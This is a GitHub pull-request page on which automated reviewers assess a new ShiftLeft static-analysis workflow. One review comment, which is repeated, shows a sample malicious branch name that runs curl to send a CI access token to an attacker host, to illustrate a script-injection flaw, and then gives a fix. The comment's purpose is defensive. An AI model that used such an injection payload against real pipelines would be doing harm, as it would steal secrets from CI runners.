git ls-files | sed -n '1,200p'

echo "== workflow snippets =="
if [ -f .github/workflows/shiftleft.yml ]; then
  nl -ba .github/workflows/shiftleft.yml | sed -n '1,140p'
else
  echo "missing .github/workflows/shiftleft.yml"
fi

echo "== searches for sl and check-analysis/analyze/build rules =="
rg -n "sl|check-analysis|build-analysis|analyze --strict|Build-Rules|build rules|shiftleft" .github . 2>/dev/null | sed -n '1,220p'

echo "== diff/stat =="
git diff --stat 2>/dev/null || true
git diff -- .github/workflows/shiftleft.yml 2>/dev/null | sed -n '1,220p' || true

Repository: LCSOGthb/AirMerge

Length of output: 1017


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== .github/workflows/shiftleft.yml =="
awk '{printf "%6d\t%s\n", NR, $0}' .github/workflows/shiftleft.yml

echo "== root shiftleft.yml =="
awk '{printf "%6d\t%s\n", NR, $0}' shiftleft.yml 2>/dev/null || echo "missing root shiftleft.yml"

echo "== shiftleft references =="
rg -n "shiftleft|Build-Rules|check-analysis|analyze --strict|sl " --glob '!node_modules/**' --glob '!*.lock' . | sed -n '1,240p'

Repository: LCSOGthb/AirMerge

Length of output: 3142


🌐 Web query:

ShiftLeft ng-scan analyze --strict check-analysis Build-Rules

💡 Result:

There is no single command called ShiftLeft ng-scan analyze --strict check-analysis Build-Rules. The query appears to conflate distinct commands and flags from the Qwiet AI (formerly ShiftLeft) CLI toolset [1][2][3]. The correct workflow for analyzing code and checking it against build rules involves separate commands. 1. Analysis: To perform a code analysis, use the sl analyze command [1][3]. The --strict flag can be added here to ensure that failures or timeouts cause the CLI to return an error code, which is recommended for CI/CD pipelines [1][3]. Example: sl analyze --app --strict 2. Checking Build Rules: To compare analysis results against defined build rules, use the sl check-analysis (specifically v2) command [2][4]. This command requires a configuration file (default is shiftleft.yml) that defines your build rules [5][2]. Example: sl check-analysis --v2 --app --config shiftleft.yml If you are instead referring to the open-source sast-scan tool (often associated with the command scan), its usage differs and typically involves a docker run command such as docker run --rm -e "WORKSPACE=${PWD}" -v "$PWD:/app" shiftleft/scan scan --build [6][7][8]. In summary, ensure you are using the Qwiet CLI (sl) for the analyze and check-analysis commands, and verify that your build rules are properly defined in a YAML configuration file [5][2][3].

Citations:


🌐 Web query:

Qwiet shiftleft sl check-analysis v2 config syntax --target tag.branch

💡 Result:

The command sl check-analysis --v2 --target tag.branch=<branch-name> is used in Qwiet AI to compare analysis results against defined build rules for a specific branch [1][2]. Key details regarding this syntax: 1. Command Structure: The --v2 flag explicitly invokes the build rules v2 engine [1][3]. When your configuration file specifies version: 2, the --v2 flag is optional as it becomes the default [2]. 2. Target Specification: The --target flag identifies the scan or branch you want to evaluate [4][1]. Using the prefix tag.branch= allows you to specify a branch by name (e.g., tag.branch=main or tag.branch=pr-feature-1) [1][2]. 3. Practical Usage: - To check findings against the latest scan of a branch: sl check-analysis --v2 --app <AppName> --target tag.branch=<branch-name> [1] - To compare a new scan (target) against a previous baseline (source): sl check-analysis --v2 --app <AppName> --source scan.previous --target tag.branch=<branch-name> [1] For more complex scenarios, such as ensuring specific build rules are applied, ensure you provide the --config flag if your configuration file is not named shiftleft.yml (the default) [4][2].

Citations:


Enable build-rule enforcement.

sl analyze --strict --wait only submits/runs the scan; the Build-Rules workflow and sl check-analysis invocation are fully commented out, so the version: 2 build rules in shiftleft.yml are never evaluated. Add a checked-in build-rules job that runs check-analysis against the analyzed branch/tag.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/shiftleft.yml around lines 38 - 59, Uncomment and enable
the Build-Rules workflow job alongside the existing analysis job, ensuring it
depends on NextGen-Static-Analysis and invokes sl check-analysis for the
analyzed branch or tag. Preserve the required checkout, CLI download, ShiftLeft
environment settings, repository/owner context, and GitHub token so the
checked-in version: 2 rules are evaluated.

@deepsource-io

deepsource-io Bot commented Jul 26, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 1a320b0...2a53a81 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall Grade   Security  

Reliability  

Complexity  

Hygiene  

Code Review Summary

Analyzer Status Updated (UTC) Details
Ruby Jul 26, 2026 7:27a.m. Review ↗
Rust Jul 26, 2026 7:27a.m. Review ↗
JavaScript Jul 26, 2026 7:27a.m. Review ↗
Scala Jul 26, 2026 7:27a.m. Review ↗
Shell Jul 26, 2026 7:27a.m. Review ↗
Secrets Jul 26, 2026 7:27a.m. Review ↗
Terraform Jul 26, 2026 7:27a.m. Review ↗
Swift Jul 26, 2026 7:27a.m. Review ↗
SQL Jul 26, 2026 7:27a.m. Review ↗
Code coverage Jul 26, 2026 7:57a.m. Review ↗
C & C++ Jul 26, 2026 7:27a.m. Review ↗
C# Jul 26, 2026 7:27a.m. Review ↗
Ansible Jul 26, 2026 7:27a.m. Review ↗

Important

AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.

@cubic-dev-ai cubic-dev-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

6 issues found across 2 files

Confidence score: 2/5

  • In .github/workflows/shiftleft.yml, interpolating ${{ github.head_ref }} directly into a shell script creates a command-injection path from attacker-controlled branch names, which could let a PR author execute arbitrary commands in CI and potentially exfiltrate secrets—pass the value via an env var and safely quote/sanitize it before use.
  • In .github/workflows/shiftleft.yml, the commented-out Build-Rules job means scan results are uploaded but not policy-gated, so critical findings can slip through without blocking merges—re-enable the rule-check step (sl check/equivalent) as a required gate.
  • In .github/workflows/shiftleft.yml, the workflow inherits default token scopes because permissions is not explicitly set, so a compromised step would have broader repo access than needed for a scan-only job—set least-privilege permissions at workflow or job scope.
  • In .github/workflows/shiftleft.yml, staying on actions/setup-java@v3 and actions/checkout@v3 (Node 16 era) increases runner compatibility and maintenance risk, and the large commented Build-Rules block adds ambiguity about intended behavior—upgrade to @v4 (prefer pinned SHAs) and remove dead commented workflow code.
Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name=".github/workflows/shiftleft.yml">

<violation number="1" location=".github/workflows/shiftleft.yml:12">
P2: The workflow does not declare explicit `permissions`, inheriting the repository's default token scope. For a scan-only job that doesn't need to write to the repository, this grants unnecessarily broad access. Restrict permissions to the minimum required:

```yaml
permissions:
  contents: read
```</violation>

<violation number="2" location=".github/workflows/shiftleft.yml:14">
P2: Update `actions/checkout` from `@v3` to `@v4` to match the repository's convention and avoid running CI on an EOL Node.js 16 runtime.</violation>

<violation number="3" location=".github/workflows/shiftleft.yml:16">
P2: `actions/setup-java@v3` uses the deprecated Node.js 16 runtime and may fail on current GitHub-hosted runners. Upgrade to `actions/setup-java@v4` (or later) and consider pinning to a full commit SHA for reproducibility.</violation>

<violation number="4" location=".github/workflows/shiftleft.yml:30">
P0: **Script injection vulnerability**: `github.head_ref` is attacker-controlled (the PR author chooses the branch name) and is interpolated directly into the shell script via `${{ }}` expression expansion *before* the shell runs. A malicious branch name like `foo; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN` would execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.

Additionally, `github.head_ref` is empty on `workflow_dispatch` events, producing an invalid `--tag branch=` argument.

Pass the value through an environment variable instead:
```yaml
env:
  PR_BRANCH: ${{ github.head_ref || github.ref_name }}
...
  --tag "branch=$PR_BRANCH" \
```</violation>

<violation number="5" location=".github/workflows/shiftleft.yml:38">
P1: The `Build-Rules` job is entirely commented out, so the security rules defined in `shiftleft.yml` (e.g., "Allow no critical findings") are never enforced. `sl analyze` submits the code for scanning, but without `sl check-analysis` the workflow will never fail a PR for discovered vulnerabilities — effectively making this a scan-only workflow with no enforcement gate.

If this is intentional for initial rollout, consider adding a comment explaining the plan and timeline to uncomment it. Otherwise, uncomment the `Build-Rules` job to activate the security gate.</violation>

<violation number="6" location=".github/workflows/shiftleft.yml:43">
P3: Remove the fully commented-out `Build-Rules` job block. Commented-out workflow code adds noise, confuses readers about whether the step is needed, and is better tracked in documentation or a separate PR if/when it is ready.</violation>
</file>

Shadow auto-approve: would not auto-approve because issues were found.

Re-trigger cubic

${GITHUB_WORKSPACE}/sl --version
${GITHUB_WORKSPACE}/sl analyze --strict --wait \
--app AirMerge \
--tag branch=${{ github.head_ref }} \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0: Script injection vulnerability: github.head_ref is attacker-controlled (the PR author chooses the branch name) and is interpolated directly into the shell script via ${{ }} expression expansion before the shell runs. A malicious branch name like foo; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN would execute arbitrary commands with access to the SHIFTLEFT_ACCESS_TOKEN secret.

Additionally, github.head_ref is empty on workflow_dispatch events, producing an invalid --tag branch= argument.

Pass the value through an environment variable instead:

env:
  PR_BRANCH: ${{ github.head_ref || github.ref_name }}
...
  --tag "branch=$PR_BRANCH" \
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:

<comment>**Script injection vulnerability**: `github.head_ref` is attacker-controlled (the PR author chooses the branch name) and is interpolated directly into the shell script via `${{ }}` expression expansion *before* the shell runs. A malicious branch name like `foo; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN` would execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.

Additionally, `github.head_ref` is empty on `workflow_dispatch` events, producing an invalid `--tag branch=` argument.

Pass the value through an environment variable instead:
```yaml
env:
  PR_BRANCH: ${{ github.head_ref || github.ref_name }}
...
  --tag "branch=$PR_BRANCH" \
```</comment>

<file context>
@@ -0,0 +1,62 @@
+        ${GITHUB_WORKSPACE}/sl --version
+        ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+          --app AirMerge \
+          --tag branch=${{ github.head_ref }} \
+          --js $(pwd) -- --ts
+      env:
</file context>

SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443

# Build-Rules:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: The Build-Rules job is entirely commented out, so the security rules defined in shiftleft.yml (e.g., "Allow no critical findings") are never enforced. sl analyze submits the code for scanning, but without sl check-analysis the workflow will never fail a PR for discovered vulnerabilities — effectively making this a scan-only workflow with no enforcement gate.

If this is intentional for initial rollout, consider adding a comment explaining the plan and timeline to uncomment it. Otherwise, uncomment the Build-Rules job to activate the security gate.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 38:

<comment>The `Build-Rules` job is entirely commented out, so the security rules defined in `shiftleft.yml` (e.g., "Allow no critical findings") are never enforced. `sl analyze` submits the code for scanning, but without `sl check-analysis` the workflow will never fail a PR for discovered vulnerabilities — effectively making this a scan-only workflow with no enforcement gate.

If this is intentional for initial rollout, consider adding a comment explaining the plan and timeline to uncomment it. Otherwise, uncomment the `Build-Rules` job to activate the security gate.</comment>

<file context>
@@ -0,0 +1,62 @@
+        SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443
+        SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443
+
+#   Build-Rules:
+#     runs-on: ubuntu-latest
+#     permissions: write-all
</file context>

NextGen-Static-Analysis:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Update actions/checkout from @v3 to @v4 to match the repository's convention and avoid running CI on an EOL Node.js 16 runtime.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 14:

<comment>Update `actions/checkout` from `@v3` to `@v4` to match the repository's convention and avoid running CI on an EOL Node.js 16 runtime.</comment>

<file context>
@@ -0,0 +1,62 @@
+  NextGen-Static-Analysis:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v3
+    - name: Setup Java JDK v8
+      uses: actions/setup-java@v3
</file context>

steps:
- uses: actions/checkout@v3
- name: Setup Java JDK v8
uses: actions/setup-java@v3

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: actions/setup-java@v3 uses the deprecated Node.js 16 runtime and may fail on current GitHub-hosted runners. Upgrade to actions/setup-java@v4 (or later) and consider pinning to a full commit SHA for reproducibility.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 16:

<comment>`actions/setup-java@v3` uses the deprecated Node.js 16 runtime and may fail on current GitHub-hosted runners. Upgrade to `actions/setup-java@v4` (or later) and consider pinning to a full commit SHA for reproducibility.</comment>

<file context>
@@ -0,0 +1,62 @@
+    steps:
+    - uses: actions/checkout@v3
+    - name: Setup Java JDK v8
+      uses: actions/setup-java@v3
+      with:
+        distribution: zulu
</file context>


jobs:
NextGen-Static-Analysis:
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: The workflow does not declare explicit permissions, inheriting the repository's default token scope. For a scan-only job that doesn't need to write to the repository, this grants unnecessarily broad access. Restrict permissions to the minimum required:

permissions:
  contents: read
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 12:

<comment>The workflow does not declare explicit `permissions`, inheriting the repository's default token scope. For a scan-only job that doesn't need to write to the repository, this grants unnecessarily broad access. Restrict permissions to the minimum required:

```yaml
permissions:
  contents: read
```</comment>

<file context>
@@ -0,0 +1,62 @@
+
+jobs:
+  NextGen-Static-Analysis:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v3
</file context>

@@ -0,0 +1,62 @@
---

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: Remove the fully commented-out Build-Rules job block. Commented-out workflow code adds noise, confuses readers about whether the step is needed, and is better tracked in documentation or a separate PR if/when it is ready.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 43:

<comment>Remove the fully commented-out `Build-Rules` job block. Commented-out workflow code adds noise, confuses readers about whether the step is needed, and is better tracked in documentation or a separate PR if/when it is ready.</comment>

<file context>
@@ -0,0 +1,62 @@
+#     permissions: write-all
+#     needs: NextGen-Static-Analysis
+#     steps:
+#     - uses: actions/checkout@v3
+#     - name: Download Harness SAST and SCA CLI
+#       run: |
</file context>

@llamapreview llamapreview Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LlamaPReview — No blocking issues found

One non-blocking finding was retained: Unverified binary download from remote CDN without integrity check.

Review details and evidence
Priority File Finding Evidence
P2 .github/workflows/shiftleft.yml Unverified binary download from remote CDN without integrity check needs verification

Finding details

P2 · Unverified binary download from remote CDN without integrity check

.github/workflows/shiftleft.yml

The workflow downloads the sl CLI binary from cdn.shiftleft.io without verifying its integrity (no checksum, signature, or pinned version). If the CDN is compromised, the runner would execute arbitrary code with access to CI secrets. HTTPS provides transport security but does not authenticate the payload itself. This PR was created by ShiftLeft/Harness and follows their documented integration pattern; no integrity verification mechanism appears to be offered by the vendor.

Verification boundary: needs verification; scope: changed region.

LlamaPReview checks

  • Read bounded PR-head context from .github/workflows/shiftleft.yml.

Automated review by LlamaPReview · Free for public open-source projects.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants